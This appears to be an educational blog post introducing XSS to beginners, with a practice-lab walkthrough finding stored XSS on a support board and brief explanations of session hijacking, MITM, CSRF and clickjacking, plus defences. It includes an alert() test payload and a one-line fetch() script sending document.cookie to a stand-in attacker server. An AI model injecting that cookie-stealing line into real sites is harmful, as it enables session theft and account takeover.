September 17, 2026
XSS, CSRF & Clickjacking: 3 Browser Attacks Every Beginner Should Understand
How Cross-Site Scripting (XSS) Actually Works

By Nikhilvarun
9 min read
How Cross-Site Scripting (XSS) Actually Works
Cross-Site Scripting, or XSS, is another OWASP Top 10 regular โ and alongside SQL injection, it's one of the first web vulnerabilities every beginner in cybersecurity learns. Where SQL injection tricks a database into running commands it shouldn't, XSS tricks a browser into running code it shouldn't. Here's how it actually works.
What XSS Actually Is
- Websites often take user input and display it back somewhere on the page โ a comment, a search result, a username, a profile bio
- XSS happens when a website takes that input and puts it directly into the page's HTML without checking or cleaning it first
- If the input isn't checked, an attacker can sneak in their own JavaScript instead of plain text, and the browser will run it like it's part of the real page
A Simple Example: A Comment Box
Imagine a blog comment section that displays whatever a user types, straight into the page:
<div class="comment">USER_INPUT_HERE</div><div class="comment">USER_INPUT_HERE</div>- Normally, someone types a comment like "Great post!" and it shows up exactly like that
- But what if someone types something else instead?
Where It Breaks
Let's say an attacker submits this as their "comment":
<script>alert('This is XSS')</script><script>alert('This is XSS')</script>If the site doesn't sanitize input, the page ends up rendering as:
<div class="comment"><script>alert('This is XSS')</script></div><div class="comment"><script>alert('This is XSS')</script></div>- The browser doesn't know the difference between "content the site meant to show" and "a script the attacker snuck in"
- It just sees
<script>tags and executes them like any other JavaScript on the page - A harmless popup is the classic proof-of-concept, but the same trick can run far more damaging code
This is the core idea behind XSS: user input is being trusted as safe HTML, when it should only ever be treated as plain text unless proven otherwise.
It's Not Just About Popups
Once a script can run in someone else's browser, an attacker isn't limited to alert boxes. XSS can be used to:
- Steal session cookies โ letting an attacker log in as the victim without needing their password
- Capture keystrokes โ silently logging what a victim types on the page
- Redirect users โ sending victims to a fake login page to harvest credentials
- Deface or manipulate content โ changing what a page shows to other visitors
- Trigger actions on the victim's behalf โ like submitting forms or changing account settings, using the victim's own logged-in session
The Three Common Flavors
- Reflected XSS โ the malicious script comes from the current request (like a search query in a URL) and is immediately reflected back in the page's response. Usually delivered via a crafted link.
- Stored XSS โ the malicious script gets saved on the server (like in a comment or profile field) and runs for every user who later views that content. Generally more dangerous since it doesn't require tricking a victim into clicking a special link.
- DOM-based XSS โ the vulnerability lives entirely in client-side JavaScript, where the page's own script takes user input and unsafely inserts it into the DOM, without the server ever seeing the malicious payload.
Why This Happens in the First Place
- Developers take user input and insert it directly into the page's HTML
- The browser can't tell the difference between "text the site wants to display" and "code that happens to look like a script tag"
- Without any encoding or filtering, anything that looks like valid HTML or JavaScript just gets rendered and executed
Example: What Cookie Theft Actually Looks Like in Code
To make this less abstract, here's a simplified look at how the pieces fit together.
A normal, well-configured session cookie, as set by the server, might look like this:
Set-Cookie: session_id=8f14e45fceea167a5a36; HttpOnly; Secure; SameSite=StrictSet-Cookie: session_id=8f14e45fceea167a5a36; HttpOnly; Secure; SameSite=StrictThis tells the browser: send this cookie automatically with requests to the site, only over HTTPS, never to other sites, and โ critically โ never make it accessible to JavaScript running on the page.
Now imagine the same cookie without the HttpOnly flag, on a page that's vulnerable to XSS. An attacker who manages to inject a script into that page could do something as simple as:
fetch('https://attacker-server.com/steal?cookie=' + document.cookie);fetch('https://attacker-server.com/steal?cookie=' + document.cookie);If HttpOnly isn't set, document.cookie happily hands over the session ID, and this one line quietly ships it off to the attacker's server. From there, the attacker just needs to set that same value as their own cookie and reload the site โ no password, no login form, nothing.
This is exactly why the HttpOnly flag matters so much: with it set correctly, document.cookie simply wouldn't include the session cookie at all, and this entire attack path disappears.
Putting It Into Practice: A Real Walkthrough
Reading about XSS is one thing โ actually finding and triggering one is a different feeling entirely. Here's how it played out on the same SecureCorp practice lab used for the SQL injection walkthrough โ this time targeting its internal Support Board instead of the search feature.
Step 1: Logging In and Finding a Target
After logging into the SecureCorp employee portal, the dashboard offers a few options โ Directory, Support, and My Profile.
The Support section leads to a "Support Board" โ a feedback form where employees can post messages that show up publicly in a Community Thread, visible to every employee and the CEO. Any time an application takes user input and displays it back to other users, it's worth a closer look for XSS.
Step 2: Testing the Input Field
Instead of typing a normal message, I entered a classic XSS test payload into the feedback box:
<script>alert('This is XSS')</script><script>alert('This is XSS')</script>
A properly secured form would either strip this out entirely or display it as harmless, literal text (<script>alert('This is XSS')</script> shown as-is on the page). If that happens, there's nothing to exploit.
Step 3: Confirming the Vulnerability
But that's not what happened here. The moment the payload was submitted, the browser executed it directly โ popping up an alert box confirming the script had run:
That popup is proof the Support Board takes user input and inserts it directly into the page's HTML without sanitizing it first โ a textbook Stored XSS vulnerability, since the payload gets saved on the server and fires for anyone who later views the Community Thread, not just the person who submitted it.
Why This One Is Especially Dangerous
Because this is stored XSS on a company-wide feedback board, the payload doesn't just affect the attacker's own browser โ it fires automatically for every employee (and the CEO) who scrolls through the Community Thread afterward. In a real attack, that alert() would instead be the fetch() cookie-stealing snippet shown just above, quietly harvesting session cookies from anyone who happened to check the support board that day.
How It's Actually Prevented
Like SQL injection, XSS is well understood and very preventable when the right practices are followed:
- Output encoding โ converting special characters like <, >, and " into their safe HTML equivalents before displaying user input, so browsers treat it as text, not code
- Content Security Policy (CSP) โ a browser-enforced header that restricts which scripts are allowed to run on a page, blocking inline scripts an attacker might inject
- Input validation โ rejecting or sanitizing input that doesn't match an expected format
- Using frameworks with built-in protection โ most modern frameworks (React, Angular, Vue) automatically escape output by default, though it's still possible to bypass this if developers aren't careful
- HttpOnly cookies โ marking sensitive cookies so they can't be accessed by JavaScript at all, limiting the damage even if XSS does occur
Related Vulnerabilities Worth Knowing
XSS doesn't exist in isolation โ it shares its "the browser trusts something it shouldn't" theme with a few other common web vulnerabilities:
Session Hijacking
- Happens when an attacker gets hold of a victim's session token (usually a cookie) and uses it to impersonate them, without ever needing their password
- XSS is one of the most common ways to pull this off โ a stolen-cookie payload injected via XSS sends the victim's session ID straight to the attacker (exactly like the code example above)
- Once the attacker has that token, they can literally paste it into their own browser and be logged in as the victim, no credentials required
- Key difference from XSS: XSS is the delivery method here โ session hijacking is what the attacker does after successfully stealing the cookie
- Prevention:
HttpOnlycookies,Securecookies, short session expiry, and re-verifying sensitive actions even within an active session.
Where Does the Session ID Actually Live?
It's easy to talk about "the session cookie" abstractly, but it genuinely helps to go look at one with your own eyes. Every browser lets you inspect exactly what's stored for a site through its built-in developer tools โ no extensions needed.
Here's how to find it yourself on any site you're logged into:
- Open Developer Tools โ right-click anywhere on the page and choose "Inspect," or press
F12(orCtrl+Shift+I/Cmd+Option+I) - Go to the storage panel โ in Chrome/Edge this is the Application tab; in Firefox it's the Storage tab
- Expand Cookies in the left sidebar and click on the site's domain
- Look through the table โ you'll see columns like Name, Value, and flags including
HttpOnlyandSecure - Find the session cookie โ it's often named something like
session_id,PHPSESSID,JSESSIONID, orconnect.sid, depending on the framework the site is built with
Man-in-the-Middle (MITM) Attack
- Happens when an attacker secretly positions themselves between a victim and the server they're communicating with, intercepting (and sometimes altering) traffic passing between the two.
- On an insecure network โ like open public Wi-Fi without HTTPS โ this is another direct way to steal a session cookie, without needing to inject any script at all (this is exactly how Firesheep worked)
- Common setups include fake Wi-Fi hotspots, ARP spoofing on a local network, or compromised routers.
- Prevention: HTTPS everywhere, HSTS (HTTP Strict Transport Security) to prevent downgrade attacks, and avoiding sensitive logins on untrusted public networks.
CSRF (Cross-Site Request Forgery)
- Tricks a victim's browser into submitting a request to a site they're already logged into, without their knowledge โ using their existing session rather than stealing it
- Example: a hidden form on a malicious page auto-submits a "transfer money" request the moment a logged-in victim visits it
- Key difference from XSS: CSRF doesn't need to inject any code into the target site at all โ it just abuses the trust a site has in the victim's browser and active session
- Prevention: CSRF tokens, the
SameSitecookie attribute, and origin verification
Clickjacking
- The victim thinks they're clicking "Play Video" but they're actually clicking "Authorize Payment" on the real, logged-in page underneath
- Prevention: the
X-Frame-Optionsheader orContent-Security-Policy: frame-ancestors
How They All Connect
XSS, Session Hijacking, MITM, CSRF, and Clickjacking all exploit the same underlying idea from different angles: the browser extends trust โ to scripts, to logged-in sessions, to what's visually on screen โ and these attacks abuse that trust in different ways. Session hijacking is frequently the end goal, whether it's reached by stealing a cookie via injected script (XSS), intercepting it over the network (MITM), riding along on an active session (CSRF), or manipulating what a victim thinks they're clicking (Clickjacking).
The Takeaway
XSS is a great vulnerability to understand deeply, because it teaches the same core lesson from a different angle than SQL injection: never trust user input, and never let it blur the line between data and code โ whether that's SQL commands or browser scripts. Once both of these click, most of the OWASP Top 10, and the vulnerabilities that build on top of it, start to feel a lot less mysterious.